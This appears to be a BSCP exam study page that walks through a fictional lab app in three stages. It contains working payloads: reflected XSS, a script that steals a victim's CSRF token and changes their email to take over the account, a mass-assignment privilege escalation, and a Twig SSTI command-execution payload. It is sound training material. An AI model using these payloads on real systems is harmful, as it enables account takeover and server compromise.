Skip to content

Worked solve — the mindset in motion

← Back to index

The other pages tell you what the techniques are. This one shows the thinking between them: what each response made me suspect, why I tried the next thing, where I got stuck and how I got unstuck. The app is fictional (a blog, like the practice exam) but the reasoning is exactly how you work a real BSCP app through all three stages.

Read this after the mindset page. This is that page applied.


Stage 0 — Recon (map before attacking)

Proxy on, I browse the whole app logged out: a search box, a login, a My account page (after I register wiener:peter), posts with a comment form, and an Admin panel link that 403s. I list every insertion point in my notes — the search q param, the login fields, the comment fields, the account-update request, and I read the JS, which mentions a /admin-roles endpoint and a roleid field I haven't seen in the UI. Noted — that's a Stage-2 lead before I've even started Stage 1.


Stage 1 — get any user account

The search reflects my input, so I test it first. Marker before payload: I send claude1337 and read the response — it comes back raw inside the HTML body. Raw angle brackets → I can inject a tag. I confirm it fires in Burp's browser:

"><svg onload=alert(document.domain)>      <!-- alert pops -> reflected XSS, no filter -->
XSS confirmed. The app has a simulated victim who browses, so the plan is: steal their session. I build the stealer, host it on the exploit server, deliver it… and the access log shows the victim hit it, but the cookie I captured is empty.

Stuck. ~10 minutes. Instead of fiddling with the payload, I run the stuck-protocol — step 4 is confirm your assumption. I never checked whether the session cookie is HttpOnly. I look at Set-Cookie:

Set-Cookie: session=...; Secure; HttpOnly
There it is. HttpOnly means document.cookie can never see it — my stealer was doomed from the start, and reading one header would have told me. This is the signature BSCP mistake, and I just made it.

Pivot — confirm what's actually stealable, then build. I can't take the cookie, but I can act as the victim from their browser. I use the XSS to scrape their CSRF token and change their email to one I control, then trigger a password reset:

<script>
fetch('/my-account').then(r=>r.text()).then(t=>{
 var c=t.match(/name="csrf" value="([^"]+)"/)[1];
 fetch('/my-account/change-email',{method:'POST',
  headers:{'Content-Type':'application/x-www-form-urlencoded'},
  body:'email=me@EXPLOIT&csrf='+c});
});</script>
The victim's reset email lands on my exploit server; I set a new password and log in. Stage 1 done — I hold a real user account. The win came not from a better payload but from reading the response I'd ignored and switching to what was actually possible.


Stage 2 — reach /admin

New access level, so I re-enumerate as this user. /admin still 403s. From recon I remember the JS mentioned roleid — the mindset says ask for what you shouldn't have. I look at my account-update request in Burp:

POST /my-account/update
csrf=...&email=me@EXPLOIT
The UI only sends email, but the JS referenced roleid. Mass assignment hypothesis: does the endpoint bind fields it doesn't show? I add it:
POST /my-account/update
csrf=...&email=me@EXPLOIT&roleid=1
I refresh /admin — it loads. The update bound a field the form never exposed, and the access check trusts roleid. Stage 2 done. Notice this came straight from reading the JS during recon — the lead was sitting in my notes before I needed it.


Stage 3 — read /home/carlos/secret

Now I enumerate the admin surface (new access = new enumeration). The panel has a "Send announcement" feature with a template field that renders a preview — a feature that renders my input is an SSTI candidate. Detect with math:

${7*7}        -> reflected literally   (not this syntax)
{{7*7}}       -> 49                     (evaluated!)
Evaluated → SSTI. Identify the engine before I fire an RCE payload:
{{7*'7'}}     -> 49    (Twig; Jinja would give 7777777)
Twig. I escalate to command execution via a filter, pointed straight at the goal:
{{['cat /home/carlos/secret']|filter('system')}}
The preview renders the file contents. I copy the secret, paste it into Submit solution — and the app flips to solved. Stage 3 done.


The pattern to take away

Trace the actual path: reflected XSS → (failed cookie theft, because I didn't read Set-Cookie) → scrape CSRF + change email → account takeover (Stage 1) → mass-assign roleid from a field I spotted in the JS (Stage 2) → SSTI in an admin template, detected with math, engine identified, escalated to read the file (Stage 3).

Notice how little of it was raw payload knowledge. It was reading responses (the raw reflection, the HttpOnly header I skipped, the 49), enumerating every insertion point (the roleid in the JS), and confirming before building (the lesson I learned the hard way on the cookie). The three stages chained because I re-enumerated at each new access level instead of assuming.

That is the BSCP mindset. Every technique page in this repo is a tool; this is how you decide which one to pick up — and how to not waste an hour on a cookie that was never readable.